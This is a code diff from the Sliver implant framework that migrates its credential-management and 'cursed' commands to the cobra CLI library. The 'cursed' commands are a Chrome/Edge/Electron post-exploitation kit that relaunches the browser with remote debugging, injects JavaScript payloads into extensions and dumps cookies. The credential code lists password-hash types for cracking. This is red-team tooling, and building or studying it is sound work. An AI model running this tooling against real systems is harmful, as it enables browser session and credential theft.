+	"PBKDF2_HMAC_SHA1":             "PBKDF2-HMAC-SHA1",
+	"PBKDF2_HMAC_SHA256":           "PBKDF2-HMAC-SHA256",
+	"PBKDF2_HMAC_SHA512":           "PBKDF2-HMAC-SHA512",
+	"SCRYPT":                       "scrypt",
+	"PHPASS":                       "phpass",
+	"TACACS_PLUS":                  "TACACS+",
+	"SIP_DIGEST":                   "SIP digest authentication (MD5)",
+	"IKE_MD5":                      "IKE-PSK MD5",
+	"IKE_SHA1":                     "IKE-PSK SHA1",
+	"SNMP_V3_HMAC_MD5_96":          "SNMPv3 HMAC-MD5-96",
+	"SNMP_V3_HMAC_MD5_96__SHA1_96": "SNMPv3 HMAC-MD5-96 / HMAC-SHA1-96",
+	"SNMP_V3_HMAC_SHA1_96":         "SNMPv3 HMAC-SHA1-96",
+	"SNMP_V3_HMAC_SHA224_128":      "SNMPv3 HMAC-SHA224-128",
+	"SNMP_V3_HMAC_SHA256_192":      "SNMPv3 HMAC-SHA256-192",
+	"SNMP_V3_HMAC_SHA384_256":      "SNMPv3 HMAC-SHA384-256",
+	"SNMP_V3_HMAC_SHA512_384":      "SNMPv3 HMAC-SHA512-384",
+	"WPA_EAPOL_PBKDF2":             "WPA-EAPOL-PBKDF2",
+	"WPA_EAPOL_PMK":                "WPA-EAPOL-PMK",
+	"WPA_PBKDF2_PMKID_EAPOL":       "WPA-PBKDF2-PMKID+EAPOL",
+	"WPA_PMK_PMKID_EAPOL":          "WPA-PMK-PMKID+EAPOL",
+	"WPA_PMKID_PBKDF2":             "WPA-PMKID-PBKDF2",
+	"WPA_PMKID_PMK":                "WPA-PMKID-PMK",
+	"IPMI2_PAKP_HMAC_SHA1":         "IPMI2 RAKP HMAC-SHA1",
+	"CRAM_MD5":                     "CRAM-MD5",
+	"JWT":                          "JWT (JSON Web Token)",
+	"RADMIN_3":                     "Radmin3",
+	"KERBEROS_17_TGS_REP":          "Kerberos 5, etype 17, TGS-REP",
+	"KERBEROS_17_PREAUTH":          "Kerberos 5, etype 17, Pre-Auth",
+	"KERBEROS_17_DB":               "Kerberos 5, etype 17, DB",
+	"KERBEROS_18_TGS_REP":          "Kerberos 5, etype 18, TGS-REP",
+	"KERBEROS_18_PREAUTH":          "Kerberos 5, etype 18, Pre-Auth",
+	"KERBEROS_18_DB":               "Kerberos 5, etype 18, DB",
+	"KERBEROS_23_SA_REQ_PREAUTH":   "Kerberos 5, etype 23, AS-REQ Pre-Auth",
+	"KERBEROS_23_TGS_REP":          "Kerberos 5, etype 23, TGS-REP",
+	"KERBEROS_23_AS_REP":           "Kerberos 5, etype 23, AS-REP",
+	"NET_NTLM_V1":                  "NetNTLMv1 / NetNTLMv1+ESS",
+	"NET_NTLM_V1_NT":               "NetNTLMv1 / NetNTLMv1+ESS (NT)",
+	"NET_NTLM_V2":                  "NetNTLMv2",
+	"NET_NTLM_V2_NT":               "NetNTLMv2 (NT)",
+	"FLASK":                        "Flask Session Cookie ($salt.$salt.$pass)",
+	"ISCSI_CHAP":                   "iSCSI CHAP authentication, MD5(CHAP)",
+	"RACF":                         "Resource Access Control Facility",
+	"AIX_SMD5":                     "AIX MD5",
+	"AIX_SSHA1":                    "AIX SHA-1",
+	"AIX_SSHA256":                  "AIX SHA-256",
+	"AIX_SSHA512":                  "AIX SHA-512",
+	"LM":                           "LM",
+	"QNX_MD5":                      "QNX /etc/shadow (MD5)",
+	"QNX_SHA256":                   "QNX /etc/shadow (SHA256)",
+	"QNX_SHA512":                   "QNX /etc/shadow (SHA512)",
+	"DPAPI_V1_CTX_1_AND_2":         "DPAPI masterkey file v1 (context 1 and 2)",
+	"DPAPI_V1_CTX_3":               "DPAPI masterkey file v1 (context 3)",
+	"DPAPI_V2_CTX_1_AND_2":         "DPAPI masterkey file v2 (context 1)",
+	"DPAPI_V2_CTX_3":               "DPAPI masterkey file v2 (context 3)",
+	"GRUB_2":                       "GRUB 2",
+	"MS_AZURE_SYNC":                "MS-AzureSync PBKDF2-HMAC-SHA256",
+	"BSDI_CRYPT":                   "BSDi Crypt, Extended DES",
+	"NTLM":                         "NTLM",
+	"RADMIN2":                      "Radmin2",
+	"SAMSUNG_ANDROID":              "Samsung Android Password/PIN",
+	"WINDOWS_HELLO_PIN":            "Windows Hello PIN/Password",
+	"WINDOWS_PHONE":                "Windows Phone 8+ PIN/Password",
+	"CISCO_ASA_MD5":                "Cisco-ASA MD5",
+	"CISCO_IOS_PBKDF2_SHA256":      "Cisco-IOS $8$ (PBKDF2-SHA256)",
+	"CISCO_IOS_SCRYPT":             "Cisco-IOS $9$ (scrypt)",
+	"CISCO_PIX_MD5":                "Cisco-Pix MD5",
+	"CITRIX_NETSCALER_SHA1":        "Citrix NetScaler (SHA1)",
+	"CITRIX_NETSCALER_SHA512":      "Citrix NetScaler (SHA512)",
+	"DCC":                          "Domain Cached Credentials (DCC), MS Cache",
+	"DCC2":                         "Domain Cached Credentials 2 (DCC2), MS Cache 2",
+
+	// ...
+
+	"MACOS_10_8": "macOS v10.8+ (PBKDF2-SHA512)",
+
+	// ...
+
+	// INVALID = 9999; // Invalid hash type
+
+	// Out of order
+	"BCRYPT_UNIX":       "bcrypt",
+	"SHA512_CRYPT_UNIX": "sha512crypt $6$, SHA512 (Unix)",
+}
@@ -0,0 +1,65 @@
+package creds
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/spf13/cobra"
+)
+
+// CredsCmd - Add new credentials.
+func CredsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	var id string
+	if len(args) > 0 {
+		id = args[0]
+	}
+	if id == "" {
+		credential, err := SelectCredential(false, clientpb.HashType_INVALID, con)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		id = credential.ID
+	}
+	_, err := con.Rpc.CredsRm(context.Background(), &clientpb.Credentials{
+		Credentials: []*clientpb.Credential{
+			{
+				ID: id,
+			},
+		},
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if len(creds.Credentials) == 0 {
+		con.PrintInfof("No credentials 🙁\n")
+		return
+	}
+	PrintCreds(creds.Credentials, con)
+}
@@ -0,0 +1,72 @@
+package creds
+
+import (
+	"bytes"
+	"context"
+	"errors"
+	"fmt"
+	"strings"
+	"text/tabwriter"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+)
+
+// SelectCredential - Interactive menu for the user to select a credentials from the database.
+func SelectCredential(plaintext bool, hashType clientpb.HashType, con *console.SliverClient) (*clientpb.Credential, error) {
+	var creds *clientpb.Credentials
+	var err error
+	if hashType == clientpb.HashType_INVALID {
+		creds, err = con.Rpc.Creds(context.Background(), &commonpb.Empty{})
+		if err != nil {
+			return nil, err
+		}
+	} else {
+		creds, err = con.Rpc.GetCredsByHashType(context.Background(), &clientpb.Credential{HashType: hashType})
+		if err != nil {
+			return nil, err
+		}
+	}
+	if len(creds.Credentials) == 0 {
+		return nil, errors.New("no credentials to select from")
+	}
+
+	// Render selection table
+	buf := bytes.NewBufferString("")
+	table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
+	for _, cred := range creds.Credentials {
+		if cred.Plaintext == "" {
+			fmt.Fprintf(table, "%s\t%s\t%s\t[not cracked]\t\n", strings.Split(cred.ID, "-")[0], cred.Collection, cred.HashType)
+		} else {
+			plaintext := cred.Plaintext
+			if len(plaintext) > 12 {
+				plaintext = plaintext[:12] + "..."
+			}
+			fmt.Fprintf(table, "%s\t%s\t%s\tplaintext: %s\t\n", strings.Split(cred.ID, "-")[0], cred.Collection, cred.HashType, plaintext)
+		}
+	}
+	table.Flush()
+	options := strings.Split(buf.String(), "\n")
+	options = options[:len(options)-1]
+	if len(options) == 0 {
+		return nil, errors.New("no credentials to select from")
+	}
+
+	selected := ""
+	prompt := &survey.Select{
+		Message: "Select a credential:",
+		Options: options,
+	}
+	err = survey.AskOne(prompt, &selected)
+	if err != nil {
+		return nil, err
+	}
+	for index, value := range options {
+		if value == selected {
+			return creds.Credentials[index], nil
+		}
+	}
+	return nil, nil
+}
@@ -0,0 +1,149 @@
+package cursed
+
+import (
+	"github.com/bishopfox/sliver/client/command/flags"
+	"github.com/bishopfox/sliver/client/command/help"
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/rsteube/carapace"
+	"github.com/spf13/cobra"
+	"github.com/spf13/pflag"
+)
+
+// Commands returns the “ command and its subcommands.
+func Commands(con *console.SliverClient) []*cobra.Command {
+	cursedCmd := &cobra.Command{
+		Use:         consts.Cursed,
+		Short:       "Chrome/electron post-exploitation tool kit (∩｀-´)⊃━☆ﾟ.*･｡ﾟ",
+		Long:        help.GetHelpFor([]string{consts.Cursed}),
+		GroupID:     consts.ExecutionHelpGroup,
+		Annotations: flags.RestrictTargets(consts.SessionCmdsFilter),
+		Run: func(cmd *cobra.Command, args []string) {
+			CursedCmd(cmd, con, args)
+		},
+	}
+	flags.Bind("", true, cursedCmd, func(f *pflag.FlagSet) {
+		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
+	})
+
+	cursedRmCmd := &cobra.Command{
+		Use:   consts.RmStr,
+		Short: "Remove a Curse from a process",
+		Long:  help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
+		Args:  cobra.ExactArgs(1),
+		Run: func(cmd *cobra.Command, args []string) {
+			CursedRmCmd(cmd, con, args)
+		},
+	}
+	cursedCmd.AddCommand(cursedRmCmd)
+	flags.Bind("", false, cursedRmCmd, func(f *pflag.FlagSet) {
+		f.BoolP("kill", "k", false, "kill the process after removing the curse")
+	})
+	carapace.Gen(cursedRmCmd).PositionalCompletion(carapace.ActionValues().Usage("bind port of the Cursed process to stop"))
+
+	cursedConsoleCmd := &cobra.Command{
+		Use:   consts.CursedConsole,
+		Short: "Start a JavaScript console connected to a debug target",
+		Long:  help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
+		Run: func(cmd *cobra.Command, args []string) {
+			CursedConsoleCmd(cmd, con, args)
+		},
+	}
+	cursedCmd.AddCommand(cursedConsoleCmd)
+	flags.Bind("", false, cursedConsoleCmd, func(f *pflag.FlagSet) {
+		f.IntP("remote-debugging-port", "r", 0, "remote debugging tcp port (0 = random)`")
+	})
+
+	cursedChromeCmd := &cobra.Command{
+		Use:   consts.CursedChrome,
+		Short: "Automatically inject a Cursed Chrome payload into a remote Chrome extension",
+		Long:  help.GetHelpFor([]string{consts.Cursed, consts.CursedChrome}),
+		Run: func(cmd *cobra.Command, args []string) {
+			CursedChromeCmd(cmd, con, args)
+		},
+	}
+	cursedCmd.AddCommand(cursedChromeCmd)
+	flags.Bind("", false, cursedChromeCmd, func(f *pflag.FlagSet) {
+		f.IntP("remote-debugging-port", "r", 0, "remote debugging tcp port (0 = random)")
+		f.BoolP("restore", "R", true, "restore the user's session after process termination")
+		f.StringP("exe", "e", "", "chrome/chromium browser executable path (blank string = auto)")
+		f.StringP("user-data", "u", "", "user data directory (blank string = auto)")
+		f.StringP("payload", "p", "", "cursed chrome payload file path (.js)")
+		f.BoolP("keep-alive", "k", false, "keeps browser alive after last browser window closes")
+		f.BoolP("headless", "H", false, "start browser process in headless mode")
+	})
+	flags.BindFlagCompletions(cursedChromeCmd, func(comp *carapace.ActionMap) {
+		(*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files")
+	})
+	cursedChromeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
+	carapace.Gen(cursedChromeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Chrome CLI arguments"))
+
+	cursedEdgeCmd := &cobra.Command{
+		Use:   consts.CursedEdge,
+		Short: "Automatically inject a Cursed Chrome payload into a remote Edge extension",
+		Long:  help.GetHelpFor([]string{consts.Cursed, consts.CursedEdge}),
+		Run: func(cmd *cobra.Command, args []string) {
+			CursedEdgeCmd(cmd, con, args)
+		},
+	}
+	cursedCmd.AddCommand(cursedEdgeCmd)
+	flags.Bind("", false, cursedEdgeCmd, func(f *pflag.FlagSet) {
+		f.IntP("remote-debugging-port", "r", 0, "remote debugging tcp port (0 = random)")
+		f.BoolP("restore", "R", true, "restore the user's session after process termination")
+		f.StringP("exe", "e", "", "edge browser executable path (blank string = auto)")
+		f.StringP("user-data", "u", "", "user data directory (blank string = auto)")
+		f.StringP("payload", "p", "", "cursed chrome payload file path (.js)")
+		f.BoolP("keep-alive", "k", false, "keeps browser alive after last browser window closes")
+		f.BoolP("headless", "H", false, "start browser process in headless mode")
+	})
+	flags.BindFlagCompletions(cursedEdgeCmd, func(comp *carapace.ActionMap) {
+		(*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files")
+	})
+	cursedEdgeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
+	carapace.Gen(cursedEdgeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Edge CLI arguments"))
+
+	cursedElectronCmd := &cobra.Command{
+		Use:   consts.CursedElectron,
+		Short: "Curse a remote Electron application",
+		Long:  help.GetHelpFor([]string{consts.Cursed, consts.CursedElectron}),
+		Run: func(cmd *cobra.Command, args []string) {
+			CursedElectronCmd(cmd, con, args)
+		},
+	}
+	cursedCmd.AddCommand(cursedElectronCmd)
+	flags.Bind("", false, cursedElectronCmd, func(f *pflag.FlagSet) {
+		f.StringP("exe", "e", "", "remote electron executable absolute path")
+		f.IntP("remote-debugging-port", "r", 0, "remote debugging tcp port (0 = random)")
+	})
+	cursedElectronCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
+	carapace.Gen(cursedElectronCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Electron CLI arguments"))
+
+	CursedCookiesCmd := &cobra.Command{
+		Use:   consts.CursedCookies,
+		Short: "Dump all cookies from cursed process",
+		Long:  help.GetHelpFor([]string{consts.Cursed, consts.CursedCookies}),
+		Run: func(cmd *cobra.Command, args []string) {
+			CursedCookiesCmd(cmd, con, args)
+		},
+	}
+	cursedCmd.AddCommand(CursedCookiesCmd)
+	flags.Bind("", false, CursedCookiesCmd, func(f *pflag.FlagSet) {
+		f.StringP("save", "s", "", "save to file")
+	})
+
+	cursedScreenshotCmd := &cobra.Command{
+		Use:   consts.ScreenshotStr,
+		Short: "Take a screenshot of a cursed process debug target",
+		Long:  help.GetHelpFor([]string{consts.Cursed, consts.ScreenshotStr}),
+		Run: func(cmd *cobra.Command, args []string) {
+			CursedScreenshotCmd(cmd, con, args)
+		},
+	}
+	cursedCmd.AddCommand(cursedScreenshotCmd)
+	flags.Bind("", false, cursedScreenshotCmd, func(f *pflag.FlagSet) {
+		f.Int64P("quality", "q", 100, "screenshot quality (1 - 100)")
+		f.StringP("save", "s", "", "save to file")
+	})
+
+	return []*cobra.Command{cursedCmd}
+}
@@ -22,9 +22,9 @@ import (
 	"context"
 	"errors"
 	"fmt"
-	"io/ioutil"
 	"log"
 	insecureRand "math/rand"
+	"os"
 	"strings"
 	"time"

@@ -36,7 +36,7 @@ import (
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/desertbit/grumble"
+	"github.com/spf13/cobra"
 )

 var (
@@ -50,25 +50,25 @@ var (
 	cursedChromePermissionsAlt = []string{overlord.AllHTTP, overlord.AllHTTPS, overlord.WebRequest, overlord.WebRequestBlocking}
 )

-// CursedChromeCmd - Execute a .NET assembly in-memory
-func CursedChromeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+// CursedChromeCmd - Execute a .NET assembly in-memory.
+func CursedChromeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}

-	payloadPath := ctx.Flags.String("payload")
+	payloadPath, _ := cmd.Flags().GetString("payload")
 	var payload []byte
 	var err error
 	if payloadPath != "" {
-		payload, err = ioutil.ReadFile(payloadPath)
+		payload, err = os.ReadFile(payloadPath)
 		if err != nil {
 			con.PrintErrorf("Could not read payload file: %s\n", err)
 			return
 		}
 	}

-	curse := avadaKedavraChrome(session, ctx, con)
+	curse := avadaKedavraChrome(session, cmd, con, args)
 	if curse == nil {
 		return
 	}
@@ -96,10 +96,10 @@ func CursedChromeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.Printf("success!\n")
 		con.PrintInfof("Found viable Chrome extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
 		con.PrintInfof("Injecting payload ... ")
-		ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
-		// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
+		cmd, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
+		// extCtxTimeout, cancel := context.WithTimeout(cmd, 10*time.Second)
 		// defer cancel()
-		_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
+		_, err = overlord.ExecuteJS(cmd, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			return
@@ -111,8 +111,8 @@ func CursedChromeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 }

-func avadaKedavraChrome(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
-	chromeProcess, err := getChromeProcess(session, ctx, con)
+func avadaKedavraChrome(session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient, cargs []string) *core.CursedProcess {
+	chromeProcess, err := getChromeProcess(session, cmd, con)
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return nil
@@ -133,7 +133,7 @@ func avadaKedavraChrome(session *clientpb.Session, ctx *grumble.Context, con *co
 			return nil
 		}
 		terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
-			Request: con.ActiveTarget.Request(ctx),
+			Request: con.ActiveTarget.Request(cmd),
 			Pid:     chromeProcess.GetPid(),
 		})
 		if err != nil {
@@ -145,7 +145,7 @@ func avadaKedavraChrome(session *clientpb.Session, ctx *grumble.Context, con *co
 			return nil
 		}
 	}
-	curse, err := startCursedChromeProcess(false, session, ctx, con)
+	curse, err := startCursedChromeProcess(false, session, cmd, con, cargs)
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return nil
@@ -153,21 +153,21 @@ func avadaKedavraChrome(session *clientpb.Session, ctx *grumble.Context, con *co
 	return curse
 }

-func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
+func startCursedChromeProcess(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient, cargs []string) (*core.CursedProcess, error) {
 	name := "Chrome"
 	if isEdge {
 		name = "Edge"
 	}

 	con.PrintInfof("Finding %s executable path ... ", name)
-	chromeExePath, err := findChromeExecutablePath(isEdge, session, ctx, con)
+	chromeExePath, err := findChromeExecutablePath(isEdge, session, cmd, con)
 	if err != nil {
 		con.Printf("failure!\n")
 		return nil, err
 	}
 	con.Printf("success!\n")
 	con.PrintInfof("Finding %s user data directory ... ", name)
-	chromeUserDataDir, err := findChromeUserDataDir(isEdge, session, ctx, con)
+	chromeUserDataDir, err := findChromeUserDataDir(isEdge, session, cmd, con)
 	if err != nil {
 		con.Printf("failure!\n")
 		return nil, err
@@ -175,31 +175,31 @@ func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumb
 	con.Printf("success!\n")

 	con.PrintInfof("Starting %s process ... ", name)
-	debugPort := getRemoteDebuggerPort(ctx)
+	debugPort := getRemoteDebuggerPort(cmd)
 	args := []string{
 		fmt.Sprintf("--remote-debugging-port=%d", debugPort),
 	}
 	if chromeUserDataDir != "" {
 		args = append(args, fmt.Sprintf("--user-data-dir=%s", chromeUserDataDir))
 	}
-	if ctx.Flags.Bool("restore") {
+	if restore, _ := cmd.Flags().GetBool("restore"); restore {
 		args = append(args, "--restore-last-session")
 	}
-	if ctx.Flags.Bool("keep-alive") {
+	if keepalive, _ := cmd.Flags().GetBool("keep-alive"); keepalive {
 		args = append(args, "--keep-alive-for-test")
 	}
-	if ctx.Flags.Bool("headless") {
+	if headless, _ := cmd.Flags().GetBool("headless"); headless {
 		args = append(args, "--headless")
 	}
-	additionalArgs := ctx.Args.StringList("args")
-	if len(additionalArgs) > 0 {
-		args = append(args, additionalArgs...)
+
+	if len(cargs) > 0 {
+		args = append(args, cargs...)
 	}

 	// Execute the Chrome process with the extra flags
 	// TODO: PPID spoofing, etc.
 	chromeExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
-		Request: con.ActiveTarget.Request(ctx),
+		Request: con.ActiveTarget.Request(cmd),
 		Path:    chromeExePath,
 		Args:    args,
 		Output:  false,
@@ -253,8 +253,8 @@ func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumb
 	return curse, nil
 }

-func findChromeUserDataDir(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
-	userDataFlag := ctx.Flags.String("user-data")
+func findChromeUserDataDir(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (string, error) {
+	userDataFlag, _ := cmd.Flags().GetString("user-data")
 	if userDataFlag != "" {
 		return userDataFlag, nil
 	}
@@ -272,7 +272,7 @@ func findChromeUserDataDir(isEdge bool, session *clientpb.Session, ctx *grumble.
 				userDataDir = fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data", driveLetter, username)
 			}
 			ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
-				Request: con.ActiveTarget.Request(ctx),
+				Request: con.ActiveTarget.Request(cmd),
 				Path:    userDataDir,
 			})
 			if err != nil {
@@ -290,7 +290,7 @@ func findChromeUserDataDir(isEdge bool, session *clientpb.Session, ctx *grumble.
 			userDataDir = fmt.Sprintf("/Users/%s/Library/Application Support/Microsoft Edge", session.Username)
 		}
 		ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
-			Request: con.ActiveTarget.Request(ctx),
+			Request: con.ActiveTarget.Request(cmd),
 			Path:    userDataDir,
 		})
 		if err != nil {
@@ -306,8 +306,8 @@ func findChromeUserDataDir(isEdge bool, session *clientpb.Session, ctx *grumble.
 	}
 }

-func findChromeExecutablePath(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
-	exeFlag := ctx.Flags.String("exe")
+func findChromeExecutablePath(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (string, error) {
+	exeFlag, _ := cmd.Flags().GetString("exe")
 	if exeFlag != "" {
 		return exeFlag, nil
 	}
@@ -337,7 +337,7 @@ func findChromeExecutablePath(isEdge bool, session *clientpb.Session, ctx *grumb
 				chromeExecutablePath := strings.ReplaceAll(chromePath, "[DRIVE]", driveLetter)
 				chromeExecutablePath = strings.ReplaceAll(chromeExecutablePath, "[USERNAME]", username)
 				ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
-					Request: con.ActiveTarget.Request(ctx),
+					Request: con.ActiveTarget.Request(cmd),
 					Path:    chromeExecutablePath,
 				})
 				if err != nil {
@@ -357,7 +357,7 @@ func findChromeExecutablePath(isEdge bool, session *clientpb.Session, ctx *grumb
 			defaultChromePath = "/Applications/Microsoft Edge.app/Contents/MacOS/Microsoft Edge"
 		}
 		ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
-			Request: con.ActiveTarget.Request(ctx),
+			Request: con.ActiveTarget.Request(cmd),
 			Path:    defaultChromePath,
 		})
 		if err != nil {
@@ -383,7 +383,7 @@ func findChromeExecutablePath(isEdge bool, session *clientpb.Session, ctx *grumb
 		}
 		for _, chromePath := range chromeLinuxPaths {
 			ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
-				Request: con.ActiveTarget.Request(ctx),
+				Request: con.ActiveTarget.Request(cmd),
 				Path:    chromePath,
 			})
 			if err != nil {
@@ -401,7 +401,7 @@ func findChromeExecutablePath(isEdge bool, session *clientpb.Session, ctx *grumb
 }

 func isChromeProcess(executable string) bool {
-	var chromeProcessNames = []string{
+	chromeProcessNames := []string{
 		"chrome",           // Linux
 		"google-chrome",    // Linux
 		"chromium-browser", // Linux
@@ -416,9 +416,9 @@ func isChromeProcess(executable string) bool {
 	return false
 }

-func getChromeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
+func getChromeProcess(session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (*commonpb.Process, error) {
 	ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
-		Request: con.ActiveTarget.Request(ctx),
+		Request: con.ActiveTarget.Request(cmd),
 	})
 	if err != nil {
 		return nil, err
@@ -22,7 +22,7 @@ import (
 	"bytes"
 	"fmt"
 	"io"
-	"io/ioutil"
+	"os"
 	"strings"
 	"text/tabwriter"

@@ -30,11 +30,11 @@ import (
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/client/core"
 	"github.com/bishopfox/sliver/client/overlord"
-	"github.com/desertbit/grumble"
-	"github.com/desertbit/readline"
+	"github.com/reeflective/readline"
+	"github.com/spf13/cobra"
 )

-func CursedConsoleCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+func CursedConsoleCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 	curse := selectCursedProcess(con)
 	if curse == nil {
 		return
@@ -55,7 +55,7 @@ func CursedConsoleCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	startCursedConsole(curse, true, target, con)
 }

-func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverConsoleClient) *overlord.ChromeDebugTarget {
+func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverClient) *overlord.ChromeDebugTarget {
 	if len(targets) < 1 {
 		con.PrintErrorf("No debug targets\n")
 		return nil
@@ -89,26 +89,19 @@ func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.Sliver
 	return &selectedTarget
 }

-var (
-	helperHooks = []string{
-		"console.log = (...a) => {return a;}", // console.log
-	}
-)
+var helperHooks = []string{
+	"console.log = (...a) => {return a;}", // console.log
+}

-func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
-	tmpFile, _ := ioutil.TempFile("", "cursed")
-	reader, err := readline.NewEx(&readline.Config{
-		Prompt:      "\033[31mcursed »\033[0m ",
-		HistoryFile: tmpFile.Name(),
-		// AutoComplete:    nil,
-		InterruptPrompt:   "^C",
-		EOFPrompt:         "exit",
-		HistorySearchFold: true,
-		// FuncFilterInputRune: filterInput,
-	})
-	if err != nil {
-		con.PrintErrorf("Failed to create read line: %s\n", err)
-		return
+func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlord.ChromeDebugTarget, con *console.SliverClient) {
+	tmpFile, _ := os.CreateTemp("", "cursed")
+	shell := readline.NewShell()
+	shell.History.AddFromFile("cursed history", tmpFile.Name())
+	shell.Prompt.Primary(func() string { return "\033[31mcursed »\033[0m " })
+	// 	EOFPrompt:         "exit",
+
+	if con.Settings.VimMode {
+		shell.Config.Set("editing-mode", "vi")
 	}

 	if helpers {
@@ -123,8 +116,9 @@ func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlor
 	}

 	con.Printf(console.Bold+">>> Cursed Console, use ':help' for options%s\n\n", console.Normal)
+
 	for {
-		line, err := reader.Readline()
+		line, err := shell.Readline()
 		if err == readline.ErrInterrupt {
 			if len(line) == 0 {
 				break
@@ -134,8 +128,8 @@ func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlor
 		} else if err == io.EOF {
 			break
 		}
-		switch strings.TrimSpace(line) {

+		switch strings.TrimSpace(line) {
 		case ":help":
 			con.Println()
 			con.Println("Available commands:")
@@ -145,7 +139,7 @@ func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlor
 			con.Println()

 		case ":file":
-			jsCode, err := ioutil.ReadFile(line)
+			jsCode, err := os.ReadFile(line)
 			if err != nil {
 				con.PrintErrorf("%s\n", err)
 				continue
@@ -20,16 +20,17 @@ package cursed

 import (
 	"fmt"
-	"io/ioutil"
-	"strings"
+	"os"
 	"time"

+	"encoding/json"
+
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/client/overlord"
-	"github.com/desertbit/grumble"
+	"github.com/spf13/cobra"
 )

-func CursedCookiesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+func CursedCookiesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
